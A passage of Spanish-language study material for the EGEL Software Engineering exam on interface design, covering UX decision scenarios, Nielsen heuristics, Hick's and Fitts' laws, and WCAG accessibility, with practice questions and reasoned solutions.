*Estratificación de alertas:* La Alternativa B genera *fatiga de alertas* (*alert fatigue*): si el sistema muestra una advertencia intrusiva para cada aspirina, el médico terminará aceptando todas sin leer, ignorando la alerta cuando prescriba un fármaco letal. Las alertas deben reservarse exclusivamente para riesgos graves de interacción medicamentosa o sobredosis crítica, exigiendo justificación médica explícita para continuar.\n  - *Ergonomía física:* Botones táctiles con áreas de toque aumentadas ($\\ge 60 \\times 60$ px) adaptados a la Ley de Fitts para interacción con guantes.\n\n---\n\n## 2. Escenario 2: Proceso de Compra Móvil en Venta Flash de Alta Concurrencia\n\n### Contexto y Restricciones\n- **Dominio:** Aplicación de comercio electrónico con eventos de venta relámpago (*Flash Sale*) de 15 minutos.\n- **Comportamiento del usuario:** Usuarios altamente ansiosos con conexiones móviles intermitentes (red 4G/5G en movimiento) que compiten por unidades limitadas de inventario.\n- **Problema detectado:** Clientes frustrados presionan repetidamente el botón \"Confirmar y Pagar\" porque no perciben respuesta instantánea, lo que genera duplicidad de cargos bancarios y bloqueos temporales por antifraude.\n\n### Alternativas de Diseño Evaluadas\n1. *Alternativa A:* Desactivar el botón inmediatamente tras el primer toque, cambiar su etiqueta a *\"Procesando pago...\"* con un indicador spinner en línea, y asociar un token de idempotencia en la petición de red backend.\n2. *Alternativa B:* Mostrar un diálogo modal que obligue al usuario a confirmar dos veces la compra antes de contactar a la pasarela bancaria.\n3. *Alternativa C:* Redirigir de inmediato a una página de agradecimiento estática antes de verificar si el cobro fue aprobado por el banco.\n\n### Decisión de Ingeniería Justificada\n- **Solución seleccionada:** **Alternativa A**.\n- **Fundamentación:**\n  - *Visibilidad del estado del sistema (Heurística 1 de Nielsen):* El usuario presiona el botón múltiples veces porque la interfaz no le comunica que su petición ya está siendo atendida. Al deshabilitar el botón y mostrar el estado activo (\"Procesando...\"), se previene el desliz motriz.\n  - *Idempotencia técnica:* A nivel de arquitectura de software, el frontend envía un `X-Idempotency-Key` único; si la red falla y la app reintenta, el backend no duplica el cobro.\n  - *Fricción mínima:* La Alternativa B añade pasos innecesarios que derrumban la conversión en un evento relámpago donde cada segundo cuenta. La Alternativa C viola la consistencia al confirmar una venta que podría ser rechazada por fondos insuficientes.\n\n---\n\n## 3. Escenario 3: Plataforma de Tráfico y Telemetría para Operadores de Centro de Control\n\n### Contexto y Restricciones\n- **Dominio:** Centro de control de tráfico aéreo o metropolitano.\n- **Usuarios:** Operadores expertos que supervisan simultáneamente 6 pantallas durante jornadas de 8 horas continuas.\n- **Requerimientos de diseño:** Detección visual instantánea de anomalías críticas (colisiones potenciales, fallas de semáforos o radares), visualización de mapas densos y ejecución de comandos en milisegundos sin despegar las manos del teclado.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   DASHBOARD DE OPERACIONES CRÍTICAS                    │\n│                                                                        │\n│   • Modo Oscuro (Dark Mode): Reduce fatiga visual en jornadas de 8 hrs │\n│   • Codificación Dual: Rojo + Ícono Alerta ⚠ (accesible a daltónicos)  │\n│   • Jerarquía por Severidad: Parpadeo limitado (\u003c 3Hz, evita epilepsia)│\n│   • Aceleradores: Atajos de teclado completos (F1-F12, teclas mnemó.)  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Alternativas de Diseño Evaluadas\n1. *Alternativa A:* Interfaz web con fondo blanco brillante, gráficos tridimensionales con sombras realistas y navegación exclusiva con menús contextuales de clic derecho con el ratón.\n2. *Alternativa B:* Interfaz de alto contraste en modo oscuro (*Dark Theme*), con tipografía monospace para cifras numéricas, codificación dual (color rojo acompañado obligatoriamente de un ícono de advertencia y etiqueta textual para cumplir WCAG) y soporte total de aceleradores por teclado (atajos para aprobar rutas, pausar alarmas o alternar cámaras).\n3. *Alternativa C:* Interfaz simplificada estilo tableta móvil con íconos gigantes y ocultamiento de datos secundarios en pantallas emergentes.\n\n### Decisión de Ingeniería Justificada\n- **Solución seleccionada:** **Alternativa B**.\n- **Fundamentación:**\n  - *Flexibilidad y eficiencia de uso (Heurística 7 de Nielsen):* Los operadores avanzados requieren atajos de teclado (*keybindings*) que superan la velocidad del ratón por órdenes de magnitud.\n  - *Ergonomía visual y fatiga cognitiva:* El modo oscuro reduce la fatiga ocular (*astenopía*) en salas de control con baja iluminación ambiental.\n  - *Perceptibilidad sin barreras (WCAG 1.4.1):* Si una alarma crítica solo se indica con un círculo rojo, un operador con protanopía o deuteranopía no distinguirá la alarma de un semáforo normal en verde/amarillo. La codificación dual (color + forma de ícono + texto explícito) es mandatoria.\n\n---\n\n## 4. Escenario 4: Portal Ciudadano de Trámites Gubernamentales e Inclusión Digital\n\n### Contexto y Restricciones\n- **Dominio:** Portal oficial del gobierno para tramitar actas de nacimiento y pensiones para el retiro.\n- **Usuarios:** Población general de todo el país, incluyendo adultos mayores de 70 años con problemas de visión y motricidad, personas con discapacidades auditivas o visuales que usan lectores de pantalla, y ciudadanos en zonas rurales con teléfonos inteligentes de gama baja y conectividad 3G lenta.\n- **Marco regulatorio:** Cumplimiento obligatorio de **WCAG 2.1 Nivel AA**.\n\n### Alternativas de Diseño Evaluadas\n1. *Alternativa A:* Sitio web interactivo con animaciones en Canvas 3D, videos explicativos sin subtítulos y tipografía en tonos grises elegantes con tamaño de 12px para maximizar la cantidad de información por pantalla.\n2. *Alternativa B:* Portal desarrollado bajo filosofía *Mobile-First*, código HTML5 semántico (`\u003cheader\u003e`, `\u003cnav\u003e`, `\u003cmain\u003e`, `\u003cbutton\u003e`), contraste de texto superior a 4.5:1, tamaño de fuente en unidades relativas (`rem`), subtítulos y transcripciones en video, navegación completa con teclado e interfaces paso a paso con lenguaje ciudadano llano.\n3. *Alternativa C:* Crear dos versiones completamente separadas: un sitio \"normal\" para usuarios jóvenes y un sitio \"solo texto\" rudimentario para personas con discapacidad y adultos mayores.\n\n### Decisión de Ingeniería Justificada\n- **Solución seleccionada:** **Alternativa B**.\n- **Fundamentación:**\n  - *Principios P.O.U.R. de WCAG:* Cumple con perceptibilidad (contraste 4.5:1, subtítulos), operabilidad (navegación por teclado sin trampas), comprensibilidad (lenguaje llano sin tecnicismos legales crípticos) y robustez (HTML semántico compatible con lectores de pantalla).\n  - *Antipatrón del \"sitio separado para discapacitados\" (Alternativa C):* Las directrices internacionales de accesibilidad desaconsejan enérgicamente los sitios paralelos \"solo texto\": en la práctica, las organizaciones nunca mantienen actualizadas ambas versiones, marginando a los usuarios con discapacidad con información desactualizada o enlaces rotos (violando la igualdad de acceso).\n  - *Diseño universal:* El diseño accesible beneficia a todos los usuarios: una fuente legible y un formulario paso a paso aumentan el éxito del trámite en ciudadanos de todas las edades.\n\n---\n\n## 5. Cuadro Comparativo de Decisiones de UX por Contexto\n\n| Contexto Operativo | Prioridad #1 de UX | Patrón de Interacción Recomendado | Antipatrón que Causa Fracaso |\n| :--- | :--- | :--- | :--- |\n| **Urgencias Médicas / Operación Crítica** | Prevención de errores fatales e intolerancia a deslices. | Búsqueda predictiva controlada, alertas estratificadas, botones táctiles grandes ($\\ge 60\\text{px}$). | Texto libre sin validación o diálogos modales repetitivos para acciones inocuas (*alert fatigue*). |\n| **Comercio Móvil de Alta Concurrencia** | Eficiencia motriz, retroalimentación veloz e idempotencia. | Deshabilitar botón al primer clic con spinner inline + clave de idempotencia backend. | Permitir múltiples clics en botones lentos o recargar toda la página ante fallos leves. |\n| **Centro de Control / Expertos** | Eficiencia extrema y prevención de fatiga ocular. | Aceleradores de teclado, modo oscuro, tipografía monospace, codificación dual (color + ícono). | Diseños de una sola columna móvil para pantallas panorámicas o dependencia absoluta del ratón. |\n| **Portal Ciudadano Universal** | Accesibilidad universal y comprensibilidad (WCAG AA). | HTML semántico, unidades `rem`, contraste $\\ge 4.5:1$, lenguaje llano, asistente guiado. | Sitios web paralelos \"solo texto\", fuentes fijas en píxeles minúsculos, videos sin subtítulos. |\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Pregunta 1\nEn el rediseño del módulo de despacho de una central de ambulancias, los operadores reportan que al presionar la tecla rápida de \"Confirmar Unidad\", el sistema no emite ningún sonido ni cambio visual durante los primeros 4 segundos mientras se conecta al GPS de la unidad, lo que lleva a los operadores a presionar la tecla tres veces más, asignando tres ambulancias diferentes a la misma emergencia. ¿Cuál es la causa primaria de usabilidad y la solución técnica adecuada?\n- A) Falla de la Heurística 8 (Diseño estético); se soluciona agregando animaciones 3D durante la conexión GPS.\n- B) Falla de la Heurística 1 (Visibilidad del estado del sistema); se soluciona congelando el navegador hasta que el GPS responda.\n- C) Falla de la Heurística 1 (Visibilidad del estado del sistema); se soluciona mostrando una retroalimentación inmediata (\u003c 100 ms) indicando \"Conectando con unidad...\" y bloqueando la emisión de nuevos comandos para ese mismo despacho.\n- D) Falla del Principio de Sustitución de Liskov; se soluciona refactorizando la clase ambulancia.\n\n### Pregunta 2\nUn banco estatal lanza una aplicación web para el cobro de becas dirigido a estudiantes de zonas rurales que utilizan teléfonos inteligentes básicos con pantallas de baja resolución y lectores de pantalla activados por discapacidad visual. ¿Qué decisión de diseño técnico garantiza la mayor accesibilidad y robustez de acuerdo con los estándares internacionales?\n- A) Desarrollar toda la interfaz interactiva mediante un elemento `\u003ccanvas\u003e` de HTML5 para garantizar que los gráficos se rendericen igual en cualquier pantalla.\n- B) Utilizar elementos nativos HTML5 semánticos (`\u003cform\u003e`, `\u003clabel\u003e`, `\u003cinput\u003e`, `\u003cbutton\u003e`), contrastes $\\ge 4.5:1$, tamaños de fuente en `rem` y diseño responsivo Mobile-First.\n- C) Crear una versión en Flash o applet independiente para evitar diferencias entre navegadores web.\n- D) Deshabilitar la navegación por teclado para forzar al usuario a utilizar únicamente interacción táctil.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 2.3.7 de esta subárea).*\n","title":"2.3.5 Escenarios profesionales de decisión en diseño de interacción y UX"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 2.3: Diseño de Interfaces\n\nLa Subárea 2.3 aporta **17 reactivos** al examen EGEL de Ingeniería de Software. Estos reactivos evalúan tu rigor profesional para diagnosticar fallas de interacción mediante las heurísticas de Nielsen, aplicar leyes psicofísicas de diseño (Hick, Fitts, Miller), asegurar la accesibilidad web bajo los principios P.O.U.R. de WCAG y seleccionar las metodologías de evaluación y prototipado más costo-efectivas para cada fase del proyecto.\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n                       DISEÑO DE INTERFACES (17 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nHCI y Usabilidad    Leyes Psicológicas UX         Accesibilidad Web     Evaluación y Prototipos\n• ISO 9241-11       • Ley de Hick (Decisión)      • WCAG (P.O.U.R.)     • Prototipos (Baja/Media/Alta)\n• 10 Heurísticas    • Ley de Fitts (Movimiento)   • Contraste AA (4.5:1)• Inspección Heurística (3-5)\n  de Nielsen        • Ley de Miller (7±2)         • Teclado completo    • Recorrido Cognitivo\n• Principios CRAP   • Affordance vs Signifier     • No solo color       • Think-Aloud y Pruebas A/B\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Las 10 Heurísticas de Nielsen en una Frase Clave\n\n1. **Visibilidad del estado:** Informa siempre al usuario de lo que pasa con feedback oportuno (spinners, barras de progreso porcentual).\n2. **Correspondencia con el mundo real:** Usa el lenguaje, metáforas y conceptos familiares del usuario; nunca arrojes códigos de error SQL o jerga técnica.\n3. **Control y libertad:** Ofrece siempre una salida de emergencia visible (*Deshacer / Cancelar / Salir*) sin penalizaciones.\n4. **Consistencia y estándares:** Sigue las convenciones de la plataforma y mantén uniformidad visual y terminológica en todo el software.\n5. **Prevención de errores:** Diseña para evitar que el error ocurra antes que tener un buen mensaje de error (selectores en vez de texto libre).\n6. **Reconocimiento antes que recuerdo:** Haz visible la información relevante; no obligues al usuario a memorizar datos entre pantallas.\n7. **Flexibilidad y eficiencia:** Incluye aceleradores y atajos de teclado para usuarios expertos sin entorpecer a los novatos.\n8. **Diseño estético y minimalista:** Elimina información redundante o innecesaria; cada dato superfluo compite por la atención del usuario.\n9. **Ayudar con los errores:** Mensajes de error en lenguaje llano, indicando la causa exacta y la acción correctiva constructiva.\n10. **Ayuda y documentación:** Ayuda contextual fácil de buscar y orientada a tareas concretas (*tooltips*, tutoriales breves).\n\n### B. Leyes Psicológicas y Ergonomía Visual\n\n| Ley / Principio | Fórmula / Regla | Núcleo del Concepto | Regla Práctica para el Examen |\n| :--- | :--- | :--- | :--- |\n| **Ley de Hick** | $T = b \\cdot \\log_2(n+1)$ | Tiempo de decisión aumenta logarítmicamente con las opciones ($n$). | Simplificar opciones, dividir formularios largos en pasos (*Wizards*). |\n| **Ley de Fitts** | $T = a + b \\log_2(2D/W)$ | Tiempo de movimiento depende de la distancia ($D$) y tamaño ($W$) del blanco. | Botones táctiles grandes ($\\ge 48\\text{dp}$), ubicados cerca del pulgar en móviles. |\n| **Ley de Miller** | $7 \\pm 2$ chunks | Límite de memoria de trabajo a corto plazo. | Agrupar información en bloques asimilables (ej. tarjetas bancarias `4-4-4-4`). |\n| **Patrón en F** | Escaneo horizontal-vertical | Patrón visual en páginas con alto contenido de texto. | Poner palabras clave en los primeros párrafos y al inicio de líneas a la izquierda. |\n| **Patrón en Z** | Diagonal de escaneo | Patrón visual en páginas de aterrizaje (baja densidad). | Colocar el botón de acción principal (CTA) en la esquina inferior derecha. |\n\n### C. Estándar WCAG (Web Content Accessibility Guidelines)\n\n- **Principios P.O.U.R.:**\n  - **P - Perceptible:** Información presentada para los sentidos (textos alternativos `alt`, contraste de color, subtítulos).\n  - **O - Operable:** Toda acción realizable con **teclado únicamente**; sin trampas de foco; tiempo suficiente.\n  - **U - Comprensible:** Contenido legible, predecible y que previene o explica errores con claridad.\n  - **R - Robusto:** Código semántico estándar (HTML5 nativo) interpretable por lectores de pantalla y agentes de asistencia.\n- **Ratios de Contraste Obligatorios (Nivel AA):**\n  - Texto normal (\u003c 18pt regular o \u003c 14pt negrita): **4.5:1** contra el fondo.\n  - Texto grande ($\\ge$ 18pt regular o $\\ge$ 14pt negrita): **3:1** contra el fondo.\n  - Regla crítica: **Nunca transmitir información exclusivamente mediante color** (añadir siempre texto o íconos).\n\n### D. Métodos de Evaluación y Prototipado\n\n| Método | Participantes | Tipo de Datos | Momento de Uso |\n| :--- | :--- | :--- | :--- |\n| **Prototipo Baja Fidelidad** | Equipo / Stakeholders | Cualitativo rápido | Ideación temprana; explorar flujos a costo cero. |\n| **Prototipo Alta Fidelidad** | Diseñadores / Usuarios | Cualitativo y Cuantitativo | Validación de microinteracciones antes de programar. |\n| **Inspección Heurística** | **3 a 5 expertos** (sin usuarios) | Lista de violaciones y severidad | Prototipos maduros; alto ROI (detecta \u003e75% de fallas). |\n| **Recorrido Cognitivo** | Expertos (sin usuarios) | Facilidad de aprendizaje inicial | Validar si un novato puede completar tareas sin ayuda. |\n| **Pruebas de Usabilidad (Think-Aloud)** | **5 usuarios representativos** | Modelo mental, bloqueos, tiempos | Descubrir *por qué* fallan los usuarios reales. |\n| **Pruebas A/B** | Muestras masivas reales | Cuantitativo ($p \u003c 0.05$) | Optimización en producción con alto tráfico. |\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 2.3\n\nAntes de continuar, confirma que dominas con solvencia:\n- [ ] Identificar qué heurística de Nielsen se transgrede cuando un sistema no avisa que está cargando un archivo pesado (*Heurística 1*).\n- [ ] Distinguir claramente entre una **Affordance** (capacidad física de interactuar) y un **Signifier** (señal visual como sombra o borde que indica dónde cliquear).\n- [ ] Recordar el ratio de contraste exigido por WCAG para nivel **AA** en texto normal (**4.5:1**).\n- [ ] Saber por qué el antipatrón de usar el *placeholder* como etiqueta única de campo degrada la accesibilidad y la usabilidad.\n- [ ] Justificar por qué **5 evaluadores** en una inspección heurística o **5 usuarios** en pruebas formativas representan el punto de saturación con mayor retorno de inversión.\n- [ ] Reconocer que una acción irreversible destructiva requiere fricción consciente (escribir el nombre) en vez de un simple diálogo genérico.\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nEn un portal bancario en línea, el menú superior contiene 42 enlaces desplegados en una lista vertical interminable sin categorías intermedias. Los clientes de banca corporativa se quejan de que tardan demasiado tiempo buscando la opción de \"Emisión de Cartas de Crédito\". De acuerdo con la psicología aplicada a la interacción humano-computadora, ¿qué ley sustenta la necesidad urgente de agrupar estos enlaces en categorías jerárquicas?\n- A) Ley de Moore.\n- B) Ley de Hick.\n- C) Ley de Amdahl.\n- D) Principio de Robustez de WCAG.\n\n### Reactivo Muestra 2\nUn equipo de ingeniería de software planea validar la facilidad de uso de un nuevo módulo de conciliación contable con usuarios novatos. Dado que no disponen de usuarios reales durante esta semana, dos especialistas en usabilidad analizan paso a paso cada acción que un operario nuevo debería ejecutar para completar una conciliación, haciéndose preguntas como \"¿Sabrá el usuario qué acción realizar a continuación?\" y \"¿Entenderá la retroalimentación obtenida?\". ¿Qué método de evaluación están aplicando?\n- A) Prueba A/B en producción.\n- B) Inspección mediante Recorrido Cognitivo (*Cognitive Walkthrough*).\n- C) Protocolo de Pensamiento en Voz Alta con usuarios finales.\n- D) Prueba de Carga y Rendimiento Estresante.\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 2.3.7).*\n","title":"2.3.6 Repaso integral y síntesis: Subárea 2.3"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 2.3\n\nEsta lección proporciona el desglose técnico y pedagógico de cada uno de los reactivos de evaluación de la **Subárea 2.3: Diseño de interfaces**. Examina cuidadosamente los fundamentos psicofísicos y normativos de la respuesta correcta y las razones de descarte de las opciones incorrectas para consolidar tu criterio para el examen profesional EGEL.\n\n---\n\n## 1. Soluciones: Fundamentos de HCI, Heurísticas y WCAG (Lección 2.3.1)\n\n### Pregunta 1\n- **Enunciado:** Campo de calificaciones de texto libre donde los profesores escriben formatos dispares provocando excepciones; se sustituye por menú desplegable y validación en tiempo real de valores permitidos.\n- **Respuesta Correcta:** **C) Prevención de errores.**\n- **Justificación Técnica:** La Heurística 5 de Nielsen establece que es infinitamente mejor un diseño cuidadoso que impida que ocurra el error en primer lugar, que tener que mostrar mensajes de error posteriores. Al restringir las opciones a un menú desplegable con valores válidos predeterminados, se elimina físicamente la posibilidad de introducir datos corruptos.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Correspondencia con el mundo real (Heurística 2) se refiere a usar el vocabulario del usuario en lugar de jerga interna o códigos SQL.\n  - *B es incorrecta:* Flexibilidad y eficiencia de uso (Heurística 7) se orienta a atajos de teclado y aceleradores para usuarios avanzados.\n  - *D es incorrecta:* Reconocimiento antes que recuerdo (Heurística 6) busca hacer visible la información para no sobrecargar la memoria de trabajo.\n\n### Pregunta 2\n- **Enunciado:** Texto regular de 14px con contraste 4.54:1 sobre fondo blanco y botones con contraste 4.8:1 en auditoría WCAG 2.1.\n- **Respuesta Correcta:** **B) Cumple con el criterio de contraste del Nivel AA para texto normal, pero no alcanza el Nivel AAA.**\n- **Justificación Técnica:** El estándar WCAG 2.1 establece que para alcanzar la conformidad de **Nivel AA**, el texto normal (\u003c 18pt o \u003c 14pt negrita) debe tener una relación de contraste mínima de **4.5:1** contra el fondo. Con 4.54:1 y 4.8:1, se supera el umbral de 4.5:1 de forma satisfactoria. Sin embargo, para el **Nivel AAA** se exige un contraste mínimo de **7:1**, por lo que no alcanza dicho nivel superior.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Cumple con creces el Nivel A y satisface formalmente el Nivel AA.\n  - *C es incorrecta:* Para Nivel AAA se requiere un ratio estricto de al menos 7.0:1.\n  - *D es incorrecta:* El contraste de color es uno de los criterios de éxito más evaluados y normados en WCAG (Criterio 1.4.3).\n\n---\n\n## 2. Soluciones: Jerarquía Visual, Navegación y Leyes de UX (Lección 2.3.2)\n\n### Pregunta 1\n- **Enunciado:** Menú plano de 64 opciones no clasificadas que causa lentitud; se agrupa en 6 categorías temáticas.\n- **Respuesta Correcta:** **B) Ley de Hick.**\n- **Justificación Técnica:** La Ley de Hick ($T = b \\cdot \\log_2(n + 1)$) postula que el tiempo requerido para tomar una decisión aumenta logarítmicamente con el número de alternativas ($n$). Al transformar una búsqueda plana entre 64 opciones en una selección jerárquica de dos niveles (primero elegir entre 6 categorías y luego entre ~10 opciones dentro de la categoría elegida), el tiempo total de decisión se reduce drásticamente.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La Ley de Fitts calcula el tiempo motor de movimiento físico hacia un blanco según su tamaño y distancia, no el tiempo de deliberación mental.\n  - *C es incorrecta:* La Ley de Pareto es un principio empírico de distribución estadística (80/20), no un modelo psicofísico de tiempo de decisión en interfaces.\n  - *D es incorrecta:* La robustez en WCAG se enfoca en la interpretación del código por agentes de asistencia y tecnologías de accesibilidad.\n\n### Pregunta 2\n- **Enunciado:** Ubicación óptima del botón primario de confirmación en un teléfono táctil de más de 6.5 pulgadas operado con una sola mano.\n- **Respuesta Correcta:** **C) Fijado en la parte inferior de la pantalla (Bottom Bar) con un área de contacto táctil amplia (mínimo 48dp de altura).**\n- **Justificación Técnica:** Basado en la Ley de Fitts ($T = a + b \\log_2(2D/W)$) y la ergonomía del \"área natural del pulgar\" (*Thumb Zone*), la parte inferior de la pantalla es la zona de menor distancia motriz y menor fatiga para el pulgar cuando se opera con una sola mano. Un ancho generoso y altura $\\ge 48\\text{dp}$ aumentan $W$, reduciendo el tiempo de alcance y la probabilidad de error al tocar.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La esquina superior izquierda es la \"zona de máxima dificultad y tensión\" (*Ow Zone*) para el pulgar de la mano derecha en pantallas grandes; forzar su alcance causa fatiga y caídas del dispositivo.\n  - *B es incorrecta:* El centro rodeado de texto pequeño dificulta la pulsación precisa y viola los lineamientos de área táctil mínima.\n  - *D es incorrecta:* Ocultar una acción primaria crítica dentro de un menú secundario aumenta la fricción cognitiva y el número de pasos innecesariamente.\n\n---\n\n## 3. Soluciones: Prevención de Errores y Validación (Lección 2.3.3)\n\n### Pregunta 1\n- **Enunciado:** Formulario de pago que tras presionar \"Comprar\" se recarga en blanco, borra los datos válidos y muestra un error arriba: *\"Error 104: El CVV debe tener 3 dígitos\"*.\n- **Respuesta Correcta:** **A) Se omitió la validación de formato en el cliente, no se preservó el estado de los campos válidos tras el fallo y el mensaje de error carece de contexto inline cercano al campo infractor.**\n- **Justificación Técnica:** Un diseño de formularios ergonómico exige: (1) validar formatos simples en el cliente antes del envío (un campo CVV puede restringirse a 3 dígitos numéricos en la interfaz); (2) jamás purgar datos válidos ya capturados ante un error parcial; y (3) posicionar el mensaje de error inmediatamente junto al campo causante (principio de proximidad de Gestalt) en lugar de una advertencia genérica arriba de la pantalla.\n- **Análisis de Distractores:**\n  - *B es incorrecta:* El backend siempre debe validar autoritativamente los datos de pago por seguridad; el error fue omitir la capa de asistencia visual en el frontend y borrar el estado del usuario.\n  - *C es incorrecta:* El contraste de color no es la causa del borrado de datos ni de la ausencia de validación inline.\n  - *D es incorrecta:* Dividir un formulario de pago en 10 pantallas aumentaría artificialmente la tasa de abandono por fricción excesiva.\n\n### Pregunta 2\n- **Enunciado:** Mecanismo más seguro para prevenir eliminaciones catastróficas de servidores virtuales de alta disponibilidad.\n- **Respuesta Correcta:** **C) Un diálogo modal con advertencia explícita del impacto, donde el botón destructivo permanezca deshabilitado hasta que el usuario escriba manualmente el identificador o nombre exacto del servidor a eliminar.**\n- **Justificación Técnica:** Para acciones destructivas de impacto crítico e irreversible, los diálogos simples con botones de confirmación rápida sufren de automatización refleja (el usuario presiona `Enter` o hace clic automáticamente sin leer). Introducir una fricción cognitiva deliberada obligando a escribir el nombre del recurso garantiza que el usuario esté plenamente consciente de la entidad que está destruyendo.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Eliminar sin confirmación es una negligencia crítica de diseño que propicia catástrofes operativas ante el menor clic accidental.\n  - *B es incorrecta:* Poner el foco predeterminado en \"Aceptar\" propicia que un usuario que presione `Enter` por error destruya el servidor de forma instantánea.\n  - *D es incorrecta:* El patrón Snackbar con Deshacer no es viable para la destrucción de servidores en la nube cuya pérdida de datos en disco es instantánea e irreversible.\n\n---\n\n## 4. Soluciones: Prototipado, Responsive y Evaluación (Lección 2.3.4)\n\n### Pregunta 1\n- **Enunciado:** Evaluar una plataforma web sin presupuesto para usuarios finales externos mediante 4 especialistas en HCI cotejando principios de usabilidad.\n- **Respuesta Correcta:** **B) Inspección heurística realizada de forma independiente por los 4 especialistas cotejando la interfaz contra principios reconocidos.**\n- **Justificación Técnica:** La inspección heurística es un método de revisión por expertos sin usuarios. Con 4 evaluadores independientes, se detecta empíricamente entre el 75% y el 80% de los problemas de usabilidad con un costo y tiempo mínimos, siendo ideal para fases tempranas con recursos limitados.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las pruebas A/B requieren miles de usuarios en producción navegando activamente para alcanzar significancia estadística; no se aplican en entornos de pruebas cerrados sin usuarios.\n  - *C es incorrecta:* Lanzar código no evaluado a producción para ver cómo fracasa genera daño reputacional y no explica *por qué* falla la usabilidad.\n  - *D es incorrecta:* Las encuestas solo recogen opiniones subjetivas sesgadas, no evalúan problemas ergonómicos ni de interacción objetiva.\n\n### Pregunta 2\n- **Enunciado:** Unidad de medida tipográfica CSS para garantizar que el texto y espaciados escalen proporcionalmente cuando un usuario con debilidad visual cambia el tamaño de fuente base en su navegador.\n- **Respuesta Correcta:** **C) Unidades `rem`, ya que se calculan dinámicamente como múltiplos del tamaño de fuente raíz del navegador del usuario.**\n- **Justificación Técnica:** La unidad `rem` (*root em*) es relativa al tamaño de fuente definido en el elemento raíz `\u003chtml\u003e`. Si un usuario configura en su navegador que su fuente preferida sea de 24px (en vez de 16px estándar), todas las fuentes y contenedores declarados en `rem` escalarán automáticamente en un 150%, preservando la proporción visual y respetando la accesibilidad sin truncar texto.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Los píxeles (`px`) son valores absolutos fijos que ignoran las preferencias de accesibilidad del navegador, obligando a los usuarios con debilidad visual a hacer zoom horizontal destructivo.\n  - *B y D son incorrectas:* `cm` y `pt` son unidades físicas orientadas a medios de impresión en papel, no a pantallas responsivas dinámicas.\n\n---\n\n## 5. Soluciones: Escenarios de Decisión Profesional (Lección 2.3.5)\n\n### Pregunta 1\n- **Enunciado:** Despacho de ambulancias donde los operadores presionan una tecla varias veces porque el sistema tarda 4 segundos en conectar con el GPS sin emitir feedback, despachando 3 unidades por error.\n- **Respuesta Correcta:** **C) Falla de la Heurística 1 (Visibilidad del estado del sistema); se soluciona mostrando una retroalimentación inmediata (\u003c 100 ms) indicando \"Conectando con unidad...\" y bloqueando la emisión de nuevos comandos para ese mismo despacho.**\n- **Justificación Técnica:** La falta de feedback oportuno genera incertidumbre en el usuario, provocando acciones repetidas por asumir que el comando no se registró (Heurística 1 de Nielsen). El sistema debe acusar recibo inmediato del comando en menos de 100 milisegundos y deshabilitar reintentos mientras se completa la conexión GPS.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las animaciones 3D no aportan valor técnico y aumentan la latencia en un centro de emergencias críticas.\n  - *B es incorrecta:* Congelar el hilo principal del navegador genera la percepción de fallo del sistema operativo y bloquea el resto de las operaciones del centro de mando.\n  - *D es incorrecta:* El principio de sustitución de Liskov es un principio de programación orientada a objetos, completamente ajeno al problema de interacción humano-computadora planteado.\n\n### Pregunta 2\n- **Enunciado:** Aplicación web de cobro de becas para zonas rurales con teléfonos básicos y usuarios con debilidad visual usando lectores de pantalla.\n- **Respuesta Correcta:** **B) Utilizar elementos nativos HTML5 semánticos (`\u003cform\u003e`, `\u003clabel\u003e`, `\u003cinput\u003e`, `\u003cbutton\u003e`), contrastes $\\ge 4.5:1$, tamaños de fuente en `rem` y diseño responsivo Mobile-First.**\n- **Justificación Técnica:** Cumple de manera integral con los principios P.O.U.R. de WCAG: HTML5 semántico nativo garantiza compatibilidad inmediata con cualquier lector de pantalla (Robustez), contraste $\\ge 4.5:1$ y fuentes en `rem` aseguran legibilidad y adaptabilidad (Perceptibilidad y Operabilidad), y Mobile-First optimiza el consumo de recursos en dispositivos de gama baja.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El elemento `\u003ccanvas\u003e` es una superficie gráfica de mapa de bits invisible para los lectores de pantalla y totalmente inaccesible sin una infraestructura de accesibilidad manual compleja.\n  - *C es incorrecta:* Flash y los applets están deprecados, obsoletos internacionalmente y bloqueados en navegadores modernos por motivos de seguridad.\n  - *D es incorrecta:* Deshabilitar la navegación por teclado destruye la accesibilidad para cualquier persona que no pueda usar interacción táctil precisa o que utilice conmutadores de asistencia.\n\n---\n\n## 6. Soluciones: Mini-Simulador de Diagnóstico (Lección 2.3.6)\n\n### Reactivo Muestra 1\n- **Enunciado:** Menú bancario con 42 enlaces desplegados en lista continua sin clasificar donde los clientes tardan demasiado tiempo localizando una opción.\n- **Respuesta Correcta:** **B) Ley de Hick.**\n- **Justificación Técnica:** La Ley de Hick cuantifica que el tiempo de decisión se incrementa logarítmicamente conforme se presentan más alternativas no clasificadas ($T \\propto \\log_2 n$). Agrupar los 42 enlaces en menús jerárquicos o tarjetas categorizadas reduce drásticamente el tiempo de exploración y decisión mental del usuario.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La Ley de Moore se refiere a la duplicación empírica de transistores en microchips cada dos años.\n  - *C es incorrecta:* La Ley de Amdahl calcula el límite teórico de mejora en velocidad de ejecución al paralelizar un programa.\n  - *D es incorrecta:* El principio de robustez en accesibilidad atañe a la compatibilidad del marcado con tecnologías asistivas, no al tiempo de decisión humana ante menús saturados.\n\n### Reactivo Muestra 2\n- **Enunciado:** Dos especialistas analizan paso a paso 